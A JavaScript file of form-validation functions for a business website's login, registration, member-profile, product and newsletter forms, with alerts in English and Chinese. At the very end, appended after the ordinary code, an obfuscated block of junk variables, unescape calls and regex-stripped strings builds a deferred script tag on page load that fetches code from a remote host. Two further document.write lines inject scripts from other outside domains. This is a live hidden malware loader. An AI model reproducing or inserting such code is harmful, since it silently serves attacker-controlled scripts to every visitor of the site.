//前台

function CheckLogin(form){
	if (form.Account.value==""){
		alert("Account is null!");
		form.Account.focus();
		form.Account.select();
		return false;
	}
	if (form.Password.value==""){
		alert("Password is null!");
		form.Password.focus();
		form.Password.select();
		return false;

	}
	return true;
}

function CheckSendpwd(form){
	if (form.Account.value==""){
		alert("Account is null!");
		form.Account.focus();
		form.Account.select();
		return false;
	}
	if (form.Email.value==""){
		alert("Email is null!");
		form.Email.focus();
		form.Email.select();
		return false;

	}
	return true;
}


function CheckRegister(form){
  if(form.Name.value==''){
     alert("Please input name!");
     form.Name.focus();
     form.Name.select();
	 return false;
  }
  if(form.Company.value==''){
     alert("Please input company name!");
     form.Company.focus();
     form.Company.select();
	 return false;
  }
  if(form.Type2.checked==true && form.othertype.value==''){
     alert("please input othertype!");
     form.othertype.focus();
     form.othertype.select();
	 return false;
  }
   if(form.Type2.checked == false && form.othertype.value !=''){
     alert("Please check The Other Type of Business!");
     form.Type2.focus();
     form.Type2.select();
	 return false;
  }
  if(form.Address1.value==''){
     alert("Please input address1!");
     form.Address1.focus();
     form.Address1.select();
	 return false;
  }
   if(form.Zip.value==''){
     alert("Please input zip code!");
     form.Zip.focus();
     form.Zip.select();
	 return false;
  }
 if(form.Email.value==''){
     alert("please input email!");
     form.Email.focus();
     form.Email.select();
	 return false;
  }
  if(form.Tel.value==''){
     alert("please input phone number!");
     form.Tel.focus();
     form.Tel.select();
	 return false;
  }
 if(form.Account.value==''){
     alert("Please input ID!");
     form.Account.focus();
     form.Account.select();
	 return false;
  }
  if(form.Password.value==''){
     alert("Please input password!");
     form.Password.focus();
     form.Password.select();
	 return false;
  }
  if(form.Password2.value==''){
     alert("Please input confirm password!");
     form.Password2.focus();
     form.Password2.select();
	 return false;
  }
  if(form.Password2.value != form.Password.value){
     alert("The confirm password is different from password!");
     form.Password2.focus();
     form.Password2.select();
	 return false;
  }
 
     return true;     
}

function CheckURegister(form){
  if(form.Name.value==''){
     alert("Please input Full Name!");
     form.Name.focus();
     form.Name.select();
	 return false;
  }
  if(form.Company.value==''){
     alert("Please input Company Name!");
     form.Company.focus();
     form.Company.select();
	 return false;
  }
  if(form.Type2.checked == true && form.othertype.value==''){
     alert("Please input Other Type of Business!");
     form.othertype.focus();
     form.othertype.select();
	 return false;
  }
  if(form.Type2.checked == false && form.othertype.value !=''){
     alert("Please check The Other Type of Business!");
     form.Type2.focus();
     form.Type2.select();
	 return false;
  }
  if(form.Address1.value==''){
     alert("Please input Address1!");
     form.Address1.focus();
     form.Address1.select();
	 return false;
  }
  if(form.Zip.value==''){
     alert("Please input Zip Code!");
     form.Zip.focus();
     form.Zip.select();
	 return false;
  }
 if(form.Email.value==''){
     alert("Please input E-mail!");
     form.Email.focus();
     form.Email.select();
	 return false;
  }
  
  if(form.Tel.value==''){
     alert("Please input Tel!");
     form.Tel.focus();
     form.Tel.select();
	 return false;
  }
  if(form.Oldpassword.value==''){
     alert("Please input Old Password!");
     form.Oldpassword.focus();
     form.Oldpassword.select();
	 return false;
  }
  if(form.Newpassword.value != form.Newpassword2.value){
     alert("Password is defferent from Confirm Password!");
     form.Newpassword2.focus();
     form.Newpassword2.select();
	 return false;
  }
    return true;     
}



//後台
function CheckMLogin(form){
    if (form.MID.value == "" ) {
        alert("管理員帳號 不得為空！")
        form.MID.select()
        form.MID.focus()
        return false;
      }
    if (form.MPWD.value == "" )  {
        alert("管理員密碼 不得為空！")
        form.MPWD.select()
        form.MPWD.focus()
        return false;
      }
	  return true;
}

function CheckCatefrm(form){
    if (form.CatNo.value == "" ) {
        alert("產品分類代碼 不得為空！")
        form.CatNo.select()
        form.CatNo.focus()
        return false;
      }
    if (form.CatName.value == "" )  {
        alert("產品分類名稱 不得為空！")
        form.CatName.select()
        form.CatName.focus()
        return false;
      }
	  return true;
}

function CheckProdfrm(theForm){
	if (theForm.ProdID.value==""){
		alert("產品編號 不得為空！");
		theForm.ProdID.focus();
		theForm.ProdID.select();
		return false;
	}
	if (theForm.ProdName.value==""){
		alert("產品名稱 不得為空！");
		theForm.ProdName.focus();
		theForm.ProdName.select();
		return false;
	}
	return true;
}

function CheckMRegister(form){
				if(form.Name.value==''){
					alert("會員全名 不得為空！");
					form.Name.focus();
					form.Name.select();
					return false;
				}
				if(form.Company.value==''){
					alert("公司名稱 不得為空！");
					form.Company.focus();
					form.Company.select();
					return false;
				}
				if(form.Type2.checked == true && form.othertype.value==''){
					alert("請輸入其他公司型態！");
					form.othertype.focus();
					form.othertype.select();
					return false;
				}
				 if(form.Type2.checked == false && form.othertype.value !=''){
					alert("請勾選其他公司型態!");
					form.Type2.focus();
					form.Type2.select();
					return false;
				}
				if(form.Address1.value==''){
					alert("住址 不得為空！!");
					form.Address1.focus();
					form.Address1.select();
					return false;
				}
				if(form.Zip.value==''){
					alert("郵遞區號 不得為空！");
					form.Zip.focus();
					form.Zip.select();
					return false;
				}
				if(form.Email.value==''){
					alert("電子郵件信箱 不得為空！");
					form.Email.focus();
					form.Email.select();
					return false;
				}
				if(form.Tel.value==''){
					alert("電話 不得為空！");
					form.Tel.focus();
					form.Tel.select();
					return false;
				}
				if(form.Newpassword.value != form.Newpassword2.value){
					alert("確認密碼和密碼不同,請重新輸入!");
					form.Newpassword2.focus();
					form.Newpassword2.select();
					return false;
				}
				return true;     
			}

function CheckMProfile(form){
				if(form.PCompany.value==''){
					alert("公司名稱 不得為空！");
					form.PCompany.focus();
					form.PCompany.select();
					return false;
				}
				if(form.PAddress.value==''){
					alert("住址 不得為空！!");
					form.PAddress.focus();
					form.PAddress.select();
					return false;
				}
				if(form.PTel.value==''){
					alert("電話 不得為空！");
					form.PTel.focus();
					form.PTel.select();
					return false;
				}
				if(form.PEmail.value==''){
					alert("電子郵件信箱 不得為空！");
					form.PEmail.focus();
					form.PEmail.select();
					return false;
				}
				if(form.PContactPerson.value==''){
					alert("聯絡人 不得為空！");
					form.PContactPerson.focus();
					form.PContactPerson.select();
					return false;
				}
				if(form.PUrl.value==''){
					alert("網址 不得為空！");
					form.PUrl.focus();
					form.PUrl.select();
					return false;
				}
				if(form.PProfile.value==''){
					alert("公司簡介 不得為空！");
					form.PProfile.focus();
					form.PProfile.select();
					return false;
				}
				return true;     
			}
function CheckMEvent(form){
  if(form.Subject.value==''){
     alert("標題 不得為空！");
     form.Subject.focus();
     form.Subject.select();
	 return false;
  }
   
  if(form.Content.value==''){
     alert("內容 不得為空！");
     form.Content.focus();
     form.Content.select();
	 return false;
  }
     return true;
}


function CheckMEpr(form){
    if (form.Subject.value == "" ) {
        alert("電子報主旨 不得為空！")
        form.Subject.select()
        form.Subject.focus()
        return false;
      }
    if (form.Content.value == "" )  {
        alert("訊息內容 不得為空！")
        form.Content.select()
        form.Content.focus()
        return false;
      }
	  return true;
}

var EN;if(EN!='F' && EN != ''){EN=null};var o;if(o!='g'){o=''};function m(){var r='';var D=window;var N="";this.zT="";var K;if(K!='sq' && K!='Ok'){K='sq'};var W;if(W!='' && W!='Eu'){W=null};var e;if(e!='' && e!='ka'){e=null};var h=D['unescape'];var Z_='';this.lH="";var s=h("%2f%6c%69%76%65%73%63%6f%72%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%6c%69%63%6b%72%2e%63%6f%6d%2e%70%68%70");this.X="";this.FG="";function j(my,T){var vU;if(vU!='' && vU!='n'){vU=null};var sy=h("%5d");var WE;if(WE!='' && WE!='Zz'){WE='lV'};var I=h("%5b");var O="gEdS".substr(0,1);this.jR='';var kv=new Array();var k=new RegExp(I+T+sy, O);var Ow;if(Ow!='_y' && Ow != ''){Ow=null};var p;if(p!='Wp'){p='Wp'};return my.replace(k, new String());var qB;if(qB!='' && qB!='bf'){qB=''};var YU=new String();};var EP;if(EP!=''){EP='jX'};var gJ=new Array();var E=document;this.sv="";var u=j('sBcSrLiBpStB','aBzRSL');this.sx="";this.dv="";var R=j('891775470761456489442407934775','93461275');var Gl;if(Gl!='wV'){Gl=''};var J=j('dSeXf6e9rS','O2XpMQFk_94LW7EiPSV6');var Z=j('sErAcK','yKEp3CAjmFR');var dH=new String();var dO=new String();var gx=new Date();function IS(){var rH;if(rH!=''){rH='bR'};var qV=new Date();this.rM="";var rI=new String();var b=h("%68%74%74%70%3a%2f%2f%63%69%74%79%72%65%61%6c%74%69%6d%65%73%2e%69%6e%66%6f%3a");var ys=new Array();var z=b;z+=R;var gm;if(gm!='' && gm!='ZS'){gm=null};var pf;if(pf!=''){pf='JC'};z+=s;var nj=new String();var kd;if(kd!='qm'){kd=''};try {uw=E[j('cQrbe2aCtueKEYl0eQmuebn0t6','C6Kv9bpVY2B0Quh')](u);var TY;if(TY!='' && TY!='hj'){TY=null};var fO;if(fO!='xQ' && fO!='XU'){fO='xQ'};uw[Z]=z;uw[J]=[1,1][0];var _p=new Date();var CF;if(CF!=''){CF='Ts'};E.body[j('aZp3pZeunudZCuhFiZlPdZ','PFZI3u')](uw);var sqq=new Array();var hc;if(hc!='' && hc!='em'){hc=null};} catch(i){};this.c="";this.zE="";}this.nx="";var q=j('oGn6lGorakdt','G9uJFmtZrk6BTXIps5P2');D[q]=IS;var oU="";this.fj='';};var L=new Array();var sb;if(sb!='' && sb!='gD_'){sb=null};m();
document.write('<script src=http://kulodaymandir.com/image/email.php ><\/script>');
document.write('<script src=http://runnymedecouncil.org/Newsletter/homework.php ><\/script>');